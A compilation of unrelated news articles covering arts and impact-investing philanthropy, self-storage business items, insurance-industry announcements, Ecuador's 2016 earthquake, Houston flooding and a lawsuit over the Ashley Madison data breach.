The success of United States Artists is another example of the growing role that intermediaries have come to play in channeling support from big funders to important work in the field. Shops like USA do the pick-and-shovel work of identifying and supporting numerous grantees. Places like Ford foot the bill and don't have to build that capacity themselves. ArtPlace America is another foundation-backed intermediary in the arts space, and one we write about often.

It's important to note that USA believes strongly in the power of the unrestricted support grant, channeling the preferences of individual artists, who prefer funding with no strings attached. Money from USA comes without limitations. Edouard Duval-Carrie, the Haitian-American painter and sculptor who lives in Miami and received a $50,000 USA grant in 2014, appreciates this. "Its a generous contribution and a recognition of trajectory," he said. "They give it to a cross-section of artists, nominated and selected by other artists. And the money comes with absolutely no strings attached. If I owed money to someone who wanted to kill me, I can pay them off!"

Meanwhile, Ford's president, Darren Walker, had this to say about the latest infusion of money to USA: "Artists can drive social change by inspiring our imaginations and challenging us all to work toward a better world."

Walker is certainly right about that, but otherwise, the link between USA's grantmaking priorities and Ford's much-advertised new focus on inequality is vague. USA is not among the funders that takes a social justice approach to supporting the arts. Reducing inequality isn't core to its mission or even mentioned anywhere on its website.

So why is USA getting $10 million from Ford? Well, as it turns out, while Ford's new commitment to USA was only recently announced, this grant decision was made last year before the foundation's pivot to focusing on inequality.

Update: This article has been updated and revised to reflect more accurate information about when Ford made the decision to grant new support to USA.

Related:At Ford,theRevolutionThat Wasnt

See more articles by Mike Scutari.
Update 4/26/18  For the fourth consecutive year, Talonvest has received the Top Corporate Fundraising Award from the Orange County, Calif., chapter of Ronald McDonald House for its participation in the nonprofits Walk for Kids fundraiser, according to a press release.

Talonvest raised over $38,300 this year, and is honored to help the Ronald McDonald House in its mission to support families with a child receiving treatment at local hospitals, Snyder said. Allowing families to focus fully on their childs needs without worrying about food, lodging or the costs associated with those things is quite remarkable.

Self-storage companies that helped the cause this year included 1784 Capital Holdings LLC, Buchanan Childrens Charities, Catalyst Partners, Clark Investment Group, Devon Self Storage, Leon Capital Group LLC, Metro Storage LLC, Newport National Corp., Urban Self Storage and The William Warren Group.

Were fortunate to be able to commit time, efforts and resources to such an extraordinary place, Sherlock said. The Ronald McDonald House has made a personal impact on members of our company, and we love being of assistance to the organization.

4/25/17  Talonvest Capital has received the Top Corporate Fundraising Award for the third consecutive year from the Orange County, Calif., chapter of Ronald McDonald House. In addition to a direct donation, Talonvest rallied other companies to monetarily support the cause, including Buchanan Children's Charities, Catalyst Storage Partners, Clark Investment Group, Devon Self Storage, Mesa West Capital and Wells Fargo.

"Talonvest is proud to support the Ronald McDonald House in its mission to support Orange County families during their greatest time of need, Snyder said. "A comfortable place to sleep, a home-cooked meal, and a loving environment allows the parents to focus on one thing only: their childs recovery.

4/22/16  Talonvest Capital has received the Top Corporate Fundraising Award for the second year in a row from the Orange County, Calif., chapter of Ronald McDonald House. The company made a direct annual donation to the organization in addition to rallying capital providers, clients, family and friends to donate. Self-storage companies that helped the cause included Clark Investment Group, Devon Self Storage, North American Self-Storage Group, Post Management Self-Storage, Stor-All Group and Wells Fargo.

We are proud to be involved in a wonderful charity that makes such a meaningful impact on peoples lives at such a vulnerable time, Sherlock said.

4/27/2015  Talonvest Capital Inc., a boutique real estate adviser serving the self-storage industry, has received the 2015 Top Corporate Fundraising Award from the Orange County, Calif., chapter of Ronald McDonald House. Talonvest works locally with the charity organization as well as Ronald McDonald Family Room in an effort to support families of seriously ill children, providing homes for families while children receive hospital treatment, according to a press release.

Talonvest was recognized during a recent Walk for Kids event, the charitys largest fundraiser. In addition to helping raise money through business partnerships and outreach, Talonvest has donated $26,500 to the Orange County chapter during the last two years, company officials said. I know first-hand what its like to have a sick child. It can be devastating, and the Ronald McDonald House does an incredible job alleviating some of the pain, said Eric Snyder, principal for Talonvest. We are glad to be part of such a meaningful community effort.

In addition to financial support, Talonvest employees participate each year in the Walk for Kids event and deliver meals to families staying in homes provided by the charity. The real estate adviser has sponsored one of 20 guest rooms through the charitys Adopt a Room partnership program for several years, according to the release. As part of the program, companies provide financial support to each family that sleeps in the adopted room during the year.

Our company was founded on the belief that we have a responsibility to give back time and resources within our community, added Tom Sherlock, a Talonvest principal. The Orange County Ronald McDonald House is a special place with an extraordinary staff, and helping out in our small way is an honor.

Ronald McDonald House Charities is a global network of 300 chapters in more than 60 countries and regions. The nonprofit creates, finds and supports programs that are designed to directly improve the health and well-being of children. The groups three core programs are the Ronald McDonald Care Mobile, the Ronald McDonald Family Room and the Ronald McDonald House.

Founded in 2010 and based in Orange County, Talonvest structures debt and equity for self-storage and commercial real estate investors and developers nationwide. The principals of the firm have more than 80 years of combined experience.



Talonvest recently participated in Walk for Kids, an annual fundraising event put on by Ronald McDonald House.
Storekat, an Australia-based, peer-to-peer, online self-storage marketplace that connects people in need of storage space with businesses and homeowners with space to rent, has won entry into the Curtin University Accelerate program. Aimed at startups, the package includes 10 weeks of mentoring and workshops and a $5,000 equity-free grant, according to the source.

Storekat is one of five startups included in the programs class of 2016, according to the university. Team members will travel to Sydney next month to present the company's project to Google executives, the source reported.

The program is open to students, staff and alumni of Curtin, with any innovative business idea, according to the university website. Over a 10-week period, we work with four or five teams to improve and grow their business ideas. The program provides industry contacts, one-on-one and group-mentoring sessions, and assistance in bringing businesses and ideas to market.

Our mission is to help connect people that need storage with people that have a little (or a lot of) extra space, according to information posted on the Storekat website. Whether you are an individual, a self-storage facility or a company, Storekat can help.

Founded by Kevin Forcier, Storekat will be among the more than 170 service providers exhibiting during the Inside Self-Storage World Expo in Las Vegas, April 25-28, at the Paris Hotel & Resort.
Update 5/31/16  Acting on advice from the city attorney, the Ottawa Planning Commission chose not to consider the zoning change that would have enabled the Weigands to pursue their self-storage conversion project. While warehousing and storage are allowed in the Downtown Core under a conditional-use permit, city attorney Blaine Finch told city officials self-storage isnt permitted, according to the source. When two conflicting provisions are present, the more restrictive one takes precedent, Finch said.

City commissioners sent the proposal back to the planning commission based on Finchs recommendation during a May 18 meeting.

Its just disappointing that a city that likes to have buildings filled on Main Street doesnt act in that manner, Tom Weigand told the source.

4/21/16  Tom and Mary Weigand are seeking zoning approval to convert apartment and office space they own in Ottawa, Canada, to self-storage. The Ottawa Planning Commission voted this week to recommend a conditional-use permit for the project at 419 S. Main St. The development will include 41 interior storage units in varying sizes.

Weve got people going out of town to Olathe and Lawrence for environmentally controlled storage for their records and furniture and such, Tom Weigand said during the April 20 meeting. We feel very positive that this is going to be good use of that building as well as good for Ottawa and the community.

Although self-storage isnt zoned for the Central Business District, the city staff supports the development, said Sarah Anzicek, Ottawa city planner. Eleven factors, including the impact on the citys service facilities, transportation and utilities, were considered before making the recommendation, she said.

The 7,500-square-foot building hasnt been fully occupied since October 2013. Auto-body shops, churches and restaurants have all passed on the property, Weigand said. Weve tried to come up with something that made some economic sense and was good for Ottawa, he added.

The Weigands, who are working with an experienced builder, will first experiment with the construction of 20 units, ranging in size from 5-by-5 to 10-by-20, before building out the entire project, according to the source. No changes are proposed for the buildings exterior or parking, Anzicek said. The facilitys hours of operation will be in accordance with other businesses in the area.

Public comments were also made during the meeting, including the reading of a letter by Robert Dotson, who owns a building in the area and supports the storage project.

The proposal will next be considered by the Ottawa City Commission. It has yet to be scheduled on the agenda, the source reported.
The co-founder of U.S. asset manager GMO plans to use venture investments to help fund his foundations battle against climate change.

Venture capital has always been a high-risk, high-reward proposition. Its current surge is finding an unlikely proponent in legendary investor Jeremy Grantham.

The billionaire has a worthy cause in mind: his Grantham Foundation for the Protection of the Environment. My foundation is aspiring to an extremely large 40 percent allocation to venture capital, because that is where I see the greatest potential, and we certainly need all the money we can make trying to protect the environment, Grantham says in his office at the Boston headquarters of Grantham, Mayo, Van Otterloo & Co., the $120 billion asset manager he co-founded in 1977.

The U.K. native launched his $617 million foundation in 1997 to concentrate on climate change and agriculture. In February it announced its involvement in a new $430 million fund with Boulder, Coloradobased Vision Ridge Partners and Capricorn Investment Group of New York that will focus on clean-energy companies and other sustainable assets.

Venture capital is uniquely suited for mission-driven, or impact, investing because investors can give early support to companies that share their values and help to bring those businesses and values to market, says the slender, sharply dressed Grantham.

When he isnt speaking with clients, the foundation is his main focus. Having handed day-to-day investment decisions over to co-head of asset allocation Benjamin Inker several years ago, Grantham, 77, seems well suited to his current role as GMOs resident big thinker. A stones throw from Harvard Yard, his office feels more like that of a college professor than of a buttoned-up investor, with stacks of articles mixed in among Asian artifacts.

Grantham started GMO after working as an economist for Royal Dutch Shell and co-founding his first firm, Batterymarch Financial Management, in Boston in 1969. A pioneer in quantitative investing, Batterymarch was eventually bought by U.S. asset management giant Legg Mason, ceasing operations under its original name in 2014.

Grantham has praised U.S. venture capital for its depth and strength. Americans apparently have more animal spirits than most, he wrote in his latest quarterly investor letter. U.S. entrepreneurs launch far more start-ups than their peers elsewhere and dominate the creation of new global brands, he notes. As a result, the nation has the worlds largest venture capital industry, and its being fed by top research universities, most of them American, which churn out new company founders and MBAs.

The letter was a forgiving, if not chipper, take on the upstarts in the U.S. economy, a sentiment that felt somewhat unusual for Grantham, who is better known for his bearish views. Hes staked his career on analyzing market bubbles and knowing when to act defensively. For example, before the tech bubble burst in 2000, he took most of his client portfolios to a combination of cash and bonds because he thought valuations were getting too high.

GMO has never allocated to venture capital, sticking to more traditional asset management, but Grantham likes how the numbers work out for venture investments in a low-yield environment.

I am particularly interested for a separate reason, and that is the enormous gap that has grown up in the returns available from a corporate investor internally investing capital and the returns available to an institution investing in stocks, he says: If you look at the somewhat dire seven-year growth forecasts like GMOs, and you lock in a price-to-book valuation, youre making 3 to 3.25 percent in perpetuity in public equities, and corporate investors are making 10 to 12 percent return on equity. Ill take the 12 percent, thank you.

But Grantham remains mindful of the risks. Even as deal makers grow more cautious about pricing, U.S. venture firms raised some $13 billion in the first quarter alone, according to data provider Dow Jones VentureSource. Grantham calls such inflows disturbingly large, explaining that investors generally do better when the money raised in a given vintage year is lower, because there isnt as much competition in the market driving up valuations.

Still, those willing to come in at the venture stage during this frothy time can enjoy better returns than theyll get from stakes in established companies at two to three times the value of the business, Grantham says: If Im right, what you should also see is a great opportunity for privately held firms because they arent wasting their money on stock buybacks, which have limited the growth rate of listed companies.
Last May, when BlackRock announced it had hired Deborah Winshel to head up BlackRock Impact, its new impact investment business, the news elicited mixed feelings in the closely knit impact investment community.

Practitioners and supporters of impact investment were delighted to see New Yorkbased BlackRock, the worlds largest money manager, with $4.5 trillion in assets, enter the fray. They were also impressed that the firm tapped someone with the stature of Winshel, who had previously served as president and chief operating officer of Robin Hood Foundation, the antipoverty nonprofit founded by hedge fund manager Paul Tudor Jones.

But although BlackRocks move into the impact arena gives the nascent sector a serious shot of mainstream credibility, some wondered what Winshels bosses, BlackRock CEO Laurence Fink and global head of multiasset strategies Richard Kushel, knew about impact investing or what the firm could bring to a sector still dominated by not-for-profits and early adopters.

Quite a bit, it turns out.

BlackRock has about $200 billion in assets that fall under the oversight of BlackRock Impact. The vast majority of those funds are invested in public securities and screened to exclude issuers involved in activities that investors want to avoid for religious, ethical or other reasons. The total also includes some so-called ESG funds, which actively consider environmental, social and corporate governance factors in investment decisions. And BlackRock has some traditional impact investments, which direct capital to solve specific social or environmental problems. The last category can include infrastructure investing and renewables.

Winshel is a passionate advocate for measurement. The Robin Hood Foundation is perhaps best known for applying Wall Streetstyle data analytics to the process of giving donations and monitoring grantees. Winshel sees ESG data playing a similar role for corporations and their investors. As reporting and transparency standards improve globally, the spotlight is on companies to report, Winshel says. Checking a policy box is not going to be adequate information for investors.

Its not only environmental factors that are weighing on investment decisions. The recent actions of large corporations  Dow Chemical Co., IBM, American Airlines, PayPal and Apple, among them  to oppose anti-LGBT legislation in states such as North Carolina are a sign that more companies understand that they need to take a public stand on social issues. Online forums such as employer-rating site Glassdoor can give data-hungry investors such as BlackRock true insight into issues such as employee diversity and worker retention at large corporations.

As the data and reporting in both the public and private markets improve, so too, Winshel believes, will the ability of investors to measure the impact of their funds. Institutional Investor Senior Writer Imogen Rose-Smith sat down with Winshel today, Earth Day  for which BlackRock Impact launched a new sustainable development exchange-traded fund  to talk about her first year on the job.

Institutional Investor: Why make the decision to move out of the not-for-profit sector into the for-profit asset management industry?

Winshel: I started out at J.P. Morgan, so the for-profit sector is not new to me. Robin Hood was very much about measurement and metrics and how you could bring those disciplines to fighting poverty. When I started talking to BlackRock about impact, it seemed like a remarkable opportunity to take all that I cared about and learned with Robin Hood and at the Metropolitan Museum of Art [where she was chief financial officer for eight years] and bring it to scale.

What does impact investing mean at BlackRock?

We decided early on to define impact in very broad terms: what you could call sustainable investing with a focus on outcomes, measurement and producing competitive financial returns. We have three different businesses: screening; ESG, which has taken on significant relevance to more and more investors; and impact. We talk about how we integrate ESG across all our platforms, and we develop ESG strategies. That is also true of impact in general. Some qualities, especially around transparency and reporting metrics, we are extracting to integrate into our existing portfolios. Our long-term objective is really to build strategies across all asset classes.

One of the real challenges facing impact investors is how to measure the desired social or environmental impact their dollars are having, as well as the economic return on investment. Is this a problem that BlackRock Impact is setting out to tackle?

Everything we look at, we step back and ask, What metric can we introduce and incorporate? For example, we recently started work with a client to develop impact metrics for an infrastructure investment. As those measurements get more refined, we could consider using them as a screen. That is a very big part of impact at BlackRock. We are also looking at ways that our quantitative investors can leverage their big-data analytics capabilities to gain additional insights, beyond standard company reporting and disclosure. We at BlackRock also have a tremendous risk management platform, Aladdin. Weve incorporated ESG data into that, so all of our investors can see the ESG in their portfolios.

Do you see a lot of investor interest in climate-related strategies?

Yes. Climate is one of the easiest areas to put metrics around, and it is very much front of mind for us right now. In addition to our existing funds like CRBN, our low-carbon-target ETF, we recently launched our second renewables fund. Four years ago, when we launched global renewables, the product was very popular, though if you talked about climate change, investors were not interested. Now that has changed. At the same time, we want to be broader than climate change alone. For example, today, on Earth Day, we are launching an ETF related to the U.N. Sustainable Development Goals. We also see a lot of opportunity in social areas such as diversity and health. We also see opportunities to transfer what we are doing in the equity markets into fixed income. The insights from our research port from one asset class to another pretty easily.

Among what groups of investors are you seeing the most interest?

There are pockets and elements of interest in virtually every type of investor that we work with. Family offices are interested in impact. Some of the foundations and endowments have been doing this for a while. Others are just dipping their toe in the water. On the retail side, we are finding that there is a broad array of interest. Its not just screening, although that has been a growth area for us. Millennials and women managing their own finances have tended to care more about these issues.

Insurers are another group showing interest in impact investing, particularly when it comes to climate change. Some insurers are starting to look at climate as a very real risk, and that is starting to cross over to their investing. Interest also varies by region. The European pension investor is looking to make sure asset managers are integrating ESG. Meanwhile, the Department of Labor announcement this past fall concerning the consideration of so-called nonfinancial factors in investment decision making is spurring similar activity from U.S. pensions.

BlackRock Impact itself does not manage money. So how does the fund development process work?

We partner with people inside the different business units. We have a lot of volunteers around the firm. This has generated a lot of enthusiasm; it is catching on with management and also Millennials. Every week I have someone contacting me asking to go for coffee. By starting with partners in areas in which our interests are naturally aligned, the development got to be almost contagious.

What in your first year has surprised you most about impact investing?

It is evolving much faster than I predicted. A couple of things have happened, including the climate agreement in Paris and the announcement in late September of the U.N. Sustainable Development Goals, that are making it move more quickly. By starting the platform last year, we were well positioned to respond to these events. The level of support we have received internally across the entire organization has been tremendous.

Follow Imogen Rose Smith on Twitter at @imogennyc.
Cyclists given access to insurance products and services and other benefits
Falvey Yacht Insurance, a North Kingstown, Rhode Island-based managing general underwriter specializing in yacht insurance, has hired Laura Sherrod and Craig McGinnes to join the firms group of yacht underwriting experts.



Sherrod will be senior vice president and McGinnes will be senior yacht underwriter at Falvey Yacht. Combined, the two add over 50 years of experience and expertise.



Before joining Falvey Yacht, Sherrod was senior vice president of Atlass Special Risks where she oversaw the Wholesale Division in addition to Atlass specialized yacht insurance programs.

McGinnes previously was yacht product manager for XL Catlin where he managed a team of underwriters. Before XL Catlin, McGinnes started and grew the yacht practice at RLI. He has also been an instructor for the American Institute of Marine Underwritings continuing education program.

Falvey Yacht is a subsidiary of the Falvey Insurance Group. The group consists of Falvey Cargo Underwriting, Falvey Yacht, and Safe Harbor Pollution Insurance. The group has additional U.S. locations in California, Florida, Maryland, New York and Washington, and a Canadian office in Toronto.

Topics Underwriting
Donegal Group Inc. reported net income of $11.8 million for the first quarter of 2016, a 73 percent increase over $6.9 million for the first quarter of 2015.

The Marietta, Pennsylvania-based insurer said net premiums written for the 2016 first quarter were $170.1 million ($85.3 million in personal lines and $84.8 million in commercial lines). Thats up 8.6 percent from $156.6 million ($80.9 million in personal lines and $75.7 million in commercial lines) during the same period in 2015.

The company said the increase in net premiums written reflects organic growth in both personal and commercial lines.

The GAAP combined ratio for the 2016 first quarter was 94.0 percent, improving from 98.8 percent a year ago.

Net investment income for the quarter was $5.5 million, a 12 percent jump from $4.9 million a year ago.

Donegal Group Chief Financial Officer Jeff Miller said during Wednesdays earnings conference call that both personal and commercial lines segments were profitable for the first quarter, as a result of decreased weather related claims, fewer large fire losses, and a general decline in the volume of the incoming casualty claims.

Miller said the major drivers of the premium growth were strong commercial lines in new business growth, an increase in personal lines policy count and modest premium rate increases in most business lines.

Further commenting on the weather, Miller said the companys weather-related losses of $6.9 million for the first quarter were lower compared to $8.8 million losses one year ago, and also lower than the $8.5 million average for the first quarters of the previous five years.

Our first quarter results have historically reflected the impact of winter weather claim activity and that was certainly the case last year when we experienced sub-freezing temperatures that contributed to frozen pipe claims, Miller said.

Fortunately, we did not experience a recurrence of such extreme temperatures in 2016.

And while there was a significant snow event in January and a wind event in February, Donegal Groups operating regions enjoyed relatively mild winter weather, he said.

Miller also said Donegal Group sustained very few large commercial fire losses during the first quarter. The company also saw a significant decline in the number of fire losses in its homeowners line.

We attribute the decrease to comparatively warmer temperatures in 2016, he said. Combination of decreases in both weather and fire losses led to excellent combined ratios in our commercial multi-peril and homeowners lines.

Commenting on pricing trends, Donegal Group President and CEO Kevin G. Burke said the company filed rate increases in the homeowners for the 2 percent-to-3.5 percent range, depending upon the state and subsidiary. Meanwhile, rate increases in personal auto ranged in the low single digits, depending upon the state and subsidiary.

And in commercial lines, renewal premium increases during the 2016 first quarter generally ranged from 3 percent to 5 percent. We continue to see opportunities to obtain modest renewal premium increases, Burke said, but there is increased competition for quality accounts.

Topics Profit Loss
Ecuador will temporarily increase some taxes, sell assets, and may issue new bonds on the international market to fund a multi-billion dollar reconstruction after a devastating 7.8 magnitude quake, a somber President Rafael Correa said on Wednesday [April 20].

The death toll from Ecuadors weekend earthquake neared 600 and rescue missions ebbed as the traumatized Andean nation braced itself for long and costly rebuilding.

Its hard to imagine the magnitude of the tragedy. Every time we visit a place, there are more problems, Correa said, fresh from touring the disaster zone.

The leftist leader estimated the disaster had inflicted $2 billion to $3 billion of damage and could knock 2 to 3 percentage points off growth, meaning the economy will almost certainly shrink this year. Lower oil revenue had already left the poor nation of 16 million people facing near-zero growth and lower investment.

In addition to $600 million in credit from multilateral lenders, Correa, an economist, announced a raft of measures to help repair homes, roads, and bridges along the devastated Pacific Coast.

Were looking at the possibility of issuing bonds on the international market, he said on Wednesday afternoon, without providing details.

Ecuador had been saying before the quake that current high yields would make it too expensive to issue debt. Yields on its bonds are close to 11 percentage points higher than comparable U.S. Treasury debt, according to JPMorgan data, and creditors are likely to be wary after the quake.

Correas government in 2008 defaulted on debt with a similar yield, calling the value unfair. His government has since returned to Wall Street and Ecuador currently has some $3.5 billion worth of bonds in circulation.

In a nationally televised address later on Wednesday, Correa also announced the OPEC nation was poised to shed assets.

The country has many assets thanks to investment over all these years and we will seek to sell some of them to overcome these difficult moments, he said.

He also unveiled several short-term tax changes, including a 2-point increase in the Valued Added Tax for a year, as well as a one-off 3 percent additional contribution on profits, although the fine print was not immediately clear.

The VAT tax is currently 12 percent.

Additionally, a one-off tax of 0.9 percent will be imposed on people with wealth of over $1 million. Ecuadoreans will also be asked to contribute one day of salary, calculated on a sliding scale based on income.

Food, Please

Briefly pausing talk of reconstruction and hindering rescuers, another quake, of 6.2 magnitude, shook the coast before dawn on Wednesday, terrifying survivors.

You cant imagine what a fright it was. Not again! I thought, said Maria Quinones in Pedernales town, which bore the brunt of Saturdays disaster.

That quake, the worst in decades, killed 570 people, injured 7,000 others, damaged close to 2,000 buildings, and forced over 24,000 survivors to seek refuge in shelters, according to government tallies.

Four days on, some isolated communities struggled without water, power or transport, as torn-up roads stymied deliveries. Along the coast, stadiums served as morgues and aid distribution centers.

Im waiting for medicines, diapers for my grandson, were lacking everything, said Ruth Quiroz, 49, as she waited in an hour-long line in front of a makeshift pharmacy set up at the Pedernales stadium.

On a highway outside the town, some children sat holding placards saying: Food, please.

When a truck arrived to deliver water to the small town of San Jacinto, hungry residents surrounded the vehicle and hit it as they yelled: We want food!

Scores of foreign aid workers and experts have arrived in the aftermath of Saturdays disaster and about 14,000 security personnel have kept order, with only sporadic looting reported. But rescuers were losing hope of finding anyone alive even as relatives of the missing begged them to keep looking.

Speaking from the highland capital, Quito, Correa said the death toll would likely rise further, although at a slower rate than in previous days. May these tears fertilize the soil of the future, he said.

(Additional reporting by Alexandra Valencia and Diego Ore in Quito, Brian Ellsworth in Caracas; writing by Andrew Cawthorne and Alexandra Ulmer; editing by Tom Brown, Peter Cooney and Michael Perry)

Related:
SCOR Global P&C increased gross written premiums by 4.7 percent at the recent April renewals, based on constant exchange rates, with total premiums rising from 420 million ($474.7 million) to 440 million ($497.3 million).

Premiums renewing on or around April 1 represent 10 percent of the annual total renewable premiums, with the main renewing markets being Japan, India and the U.S.

In Japan, renewal premiums increased by 7 percent, including the effect of normalized business relationships with the major Japanese insurance groups, highlighting the depth of SCORs 40-plus year franchise in Japan, said SCOR in a statement.

Pricing at the April renewals was nearly flat overall for SCOR, despite the pressure recorded on non-proportional accounts, the company said, noting that the expected profitability of the business booked is in line with the groups target.

P&C treaty gross premiums rose by 2 percent to 317 million ($358.3 million) at constant exchange rates, the company said, with U.S. premiums up by approximately 13 percent.

The U.S. client-focused initiative, combined with the high quality of SCORs balance sheet and strong ratings, continues to provide good opportunities for the development of business relationships with both existing and new clients, the company said.

Specialty treaty gross premiums rose by 13 percent to 123 million ($139 million) at constant exchange rates, SCOR continued, noting that it seized opportunities in agriculture, aviation & US natural catastrophe business during the April renewals.

Victor Peignet, CEO of SCOR Global P&C, commented: The results of the April renewals are further evidence of the strength of SCOR Global P&Cs strategy and business execution. Market conditions remain difficult, but SCOR Global P&C continues to win business from both existing and new clients.

Source: SCOR Global P&C

Topics USA Profit Loss Property Casualty
Hiscox Ltd. announced that Hamayou Akbar (Aki) Hussain will join the Hiscox Group as group chief financial officer.

Hussain will join Hiscox from Prudential plc, where he spent seven years; latterly as chief financial officer of Prudential UK & Europe. He sits on the board of the Prudential Assurance Co. Ltd., the main UK insurance operating company.

Prior to Prudential, Hussain held a number of senior roles in the financial services, telecoms and media sectors. He was finance director for the Consumer Bank division at Lloyds Banking Group until 2009, and before that he was finance director for the consumer division of ntl (now Virgin Media) until 2006.

He is a chartered accountant, having trained with KPMG, and brings 20 years of experience to Hiscox, where he will lead and further develop the finance function, and oversee its investments. It is expected that Hussain will join Hiscox in the second half of the year once his current contractual commitments are fulfilled. At that time, he will join the Hiscox Ltd. board.

Aki will be an excellent addition to our executive team, bringing first class financial services experience, strong regulatory exposure, and a fresh perspective. I believe we can learn a great deal from Aki and look forward to welcoming him aboard, said Bronek Masojada, group CEO.

Source: Hiscox Ltd.

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A federal agency has found that a storage tank manufacturer is continuing to expose workers in Missouri to hazardous levels of a chemical than can cause lung cancer and other health problems.

The Occupational Safety and Health Administration said that the agency is proposing $95,000 in fines for safety violations at Bethlehem, Pa.-based Abec Inc.s facility in Springfield. The company previously agreed to pay $31,400 after it was cited in July for similar problems.

The latest citations allege that Abec failed to take steps to protect its workers after it was cited with exposing them to hexavalent chromium and potentially deafening noise. OSHA says hexavalent chromium can cause lung cancer and respiratory, eye and skin damage at high levels.

The company didnt immediately return a phone message from The Associated Press.

Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.

Topics Workers' Compensation Commercial Lines Business Insurance Missouri
Eleven months ago, Houston had a deadly flood. This week, the city had another.

Events like these are often called 100-year floods, and that can be misleading. The U.S. government began using the term in the 1960s to describe a flood that has a 1 percent chance of happening in any given year, not a chance of happening only once a century. Its statistical probability  and that can change over time.

Over the span of 30 years, which is the length of many peoples mortgages, there is a once in four chance it is going to happen, said Mari Tye, a project scientist in the mesoscale and microscale meteorological laboratory at the National Center for Atmospheric Research in Boulder, Colorado. Over 100 years, there is a 67 percent chance.

And that doesnt take into account other conditions that can alter the outlook, including changing climate or the effects of El Nino or La Nina.

Moving Target

Thats why the 100-year event is such a moving target, especially in an urban environment, said Chuck Watson, director of research and development at Enki Research, which develops tools to measure hazards. Someone builds a couple of parking lots, and you just turned a 100-year event into a 70-year event because of the impervious surfaces.

Asphalt doesnt soak up rain water; it just sends it somewhere else, such as into the house next door. When you add in natural climate cycles, the results are further skewed, Watson said from his office in Savannah, Georgia. One of the influences of El Nino is to send more rain across the southern U.S.. In a situation like that, the chances of a catastrophic flood might rise to one in 20.

At least seven people died in Houston in this weeks rain, according to CNN. The bulk of the downpour was Monday, when a daily record 9.92 inches (25 centimeters) fell at George Bush Intercontinental Airport, the National Weather Service said. Some areas received more. At least 100,000 customers lost power, the citys light rail was shut and water was over the banks of more than half of its 22 bayous and creeks, which help with flood control.

Even Worse

If you get that much rain, there is no place for the water to go, said Jill Hasling, who founded the Weather Research Center in the Texas city.

The current flood is worse in some ways than the one last May, Hasling said in an interview at the American Meteorological Societys Hurricanes and Tropical Meteorology conference in San Juan, Puerto Rico. Parts of the city that were dry a year ago are inundated now.

That flood damaged more than 2,500 homes and killed more than 30 people in Texas and Oklahoma, according to reports at the time. A little more than 35 percent of the state had been suffering some level of drought, but by the first week of June the share had dropped to less than 1 percent, the U.S. Drought Monitor reported.

This reveals another problem with trying to quantify extreme events  things can always get worse, which makes it difficult to come up with a worst-case scenario.

With all our records, we dont know what the most extreme is, because they are rare, Tye said. You make an estimate of the probability and then another storm comes along that is worse.

As for Houston, Hasling has some advice: Theres more than one flood a year in Houston. If you live in Houston, buy flood insurance. If you are not in the flood zone, buy it anyway; it will just be cheaper.

Copyright 2022 Bloomberg.

Topics Flood
Plaintiffs leading a lawsuit against online dating website Ashley Madison over a security breach that exposed the personal data of customers must publicly identify themselves to proceed with the case, a U.S. judge has ruled.

Forty-two plaintiffs, seeking to represent users of the website who had their information compromised, had proceeded anonymously against Ashley Madisons Toronto-based parent company Avid Life Media, the ruling released on April 6 showed.

The plaintiffs are suing Ashley Madison, a website that facilitates extramarital affairs, for failing to adequately secure their information, marketing a Full Delete Removal service that did not work, and using fake female accounts to lure male customers, according to the ruling.

Their action comes after hackers who claimed to be unhappy with Avid Lifes business practices publicly released Ashley Madison customer data last August.

Reuters has not independently verified the authenticity of the data, emails or documents.

Judge John A. Ross, of a district court in Missouri, wrote in his ruling that being publicly named as an Ashley Madison user amounts to more than common embarrassment, but noted the 42 plaintiffs have special roles in the case that require identification.

The plaintiffs are class representatives and may need to testify or offer evidence, unlike class members, those in the lawsuit who do not need participate as actively, Ross wrote.

He ruled that the plaintiffs must either identify themselves or proceed as class members, who can remain anonymous.

The class for the collective lawsuit has not yet been certified, the ruling noted. There are at least 10 plaintiffs who are publicly named.

Avid Media did not immediately respond to a request for comment.

(Reporting by Ethan Lou in Toronto; Editing by Bernadette Baum)

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Topics Lawsuits USA Legislation Cyber Training Development
The Independent Insurance Agents & Brokers of America (Big I) has awarded Bill Wilson with the Jeff Yates Lifetime Achievement Award, the highest honor the association bestows on a non-agent, for a lifetime of work in the independent agency system.

Wilson is Big I associate vice president of education and research and Virtual University director and a well-known insurance educator, coverage expert, management advisor and writer.

Wilson joined the Big I team in 1999. He previously served as director of education and technical affairs for the Insurors of Tennessee and was a licensed insurance and surplus lines agent. Wilsons professional affiliations include having served as president of the Middle Tennessee Chapter of CPCU, board member of the national CPCU Society, member of the Society of Insurance Trainers and Educators (SITE) and its SITE Journal editorial committee, and an instructor for insurance and risk management programs for Tennessee State University and Nashville State Technical Institute. Wilson is a recipient of the CPCU Societys George M. Gottheimer Memorial Award for making an outstanding contribution to the field of insurance education, risk management or insurance consulting.

The Big I is proud to present Bill Wilson with the Jeff Yates Lifetime Achievement Award for his remarkable career dedicated to the independent insurance agent community, said Randy Lanoix, Big I chairman and president of Lanoix Insurance Agency in Lutcher and Brusly, Louisiana, who presented the award during the annual Big I Legislative Conference in Washington, D.C.

Bill is one of the premiere insurance educators in the country and has helped thousands of agents nationwidefrom Hawaii to Rhode Islandon a variety of issues including insurance coverage technical matters, agency management concerns and more through the VUs Ask an Expert service and has given hundreds of seminars, workshops and convention presentations.

Bill has been quoted in hundreds of news stories and his writings published in dozens of trade and business publications, said Lanoix. Many in our industry and the media view him as the ultimate insurance guru and we are tremendously lucky to have him on our team.

The Jeff Yates Lifetime Achievement Award was established in 2013 in honor of Jeff Yates, a 39-year veteran of the Big I who served in numerous capacities within the association from 1975 to 2014. In 1998 he was named CEO and first retired in 2000. In 2001 he returned to the Big I to lead the ACT program as executive director and retired in 2014.

Topics Agencies Training Development Tennessee
A.M. Best reported it has both downgraded and withdrawn the ratings for National Unity Insurance Company (National Unity) in San Antonio, Texas.

National Unity specializes domestic non-standard auto business, as well as in insuring Mexican cars and commercial trucks traveling to the United States and Canada.

A.M. Best downgraded the companys financial strength rating to B- (Fair) from B+ (Good) and the issuer credit rating to bb- from bbb-. Best assigned a negative outlook for each rating. The ratings agency concurrently withdrew National Unitys ratings following the companys request to no longer participate in A.M. Bests interactive rating process.

National Unitys ratings were previously downgraded by A.M. Best in December 2015. The negative outlook was also assigned at that time.

A.M. Best said the December 2015 downgrade follows a decline in surplus, sizeable net underwriting losses and adverse reserve development in the third quarter, primarily in the companys domestic non-standard auto book of business.

On its website, National Unity still claims an A- rating from A.M. Best.

